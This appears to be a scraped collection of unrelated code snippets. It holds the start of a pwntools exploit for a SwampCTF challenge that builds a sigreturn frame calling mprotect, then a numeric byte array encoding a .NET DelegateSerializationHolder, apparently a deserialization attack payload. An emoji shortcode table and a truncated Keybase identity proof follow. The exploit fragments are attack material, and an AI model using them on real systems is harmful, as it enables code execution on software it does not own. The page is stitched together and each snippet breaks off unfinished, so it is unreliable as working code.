i64

from pwn import *

p = remote('chal1.swampctf.com',1800)

context.arch='amd64'
#Sigreturn frame for SYS_mprotect
frame = SigreturnFrame()
frame.rax = 10          # SYS_mprotect
frame.rdi = 0x400000   # addr
frame.rsi = 0x1000     # len

i64

var serialized_obj = [
0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,4,1,0,0,0,34,83,121,115,116,101,109,46,68,101,108,
101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,
101,103,97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,3,3,48,83,121,115,116,101,109,46,
68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,
103,97,116,101,69,110,116,114,121,34,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,
122,97,116,105,111,110,72,111,108,100,101,114,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,
101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,2,0,0,
0,9,3,0,0,0,9,4,0,0,0,4,2,0,0,0,48,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,

i64

People

:bowtie:	😄 :smile:	😆 :laughing:
😊 :blush:	😃 :smiley:	☺️ :relaxed:
😏 :smirk:	😍 :heart_eyes:	😘 :kissing_heart:
😚 :kissing_closed_eyes:	😳 :flushed:	😌 :relieved:
😆 :satisfied:	😁 :grin:	😉 :wink:
😜 :stuck_out_tongue_winking_eye:	😝 :stuck_out_tongue_closed_eyes:	😀 :grinning:
😗 :kissing:	😙 :kissing_smiling_eyes:	😛 :stuck_out_tongue:

i64

### Keybase proof

I hereby claim:

  * I am cybersaxostiger on github.
  * I am tig3r (https://keybase.io/tig3r) on keybase.
  * I have a public key ASA8B1_aHeYnmDPoKHiiHWUwM-XCGl8GNIoK0JOUKdLGrQo

To claim this, I am signing this object: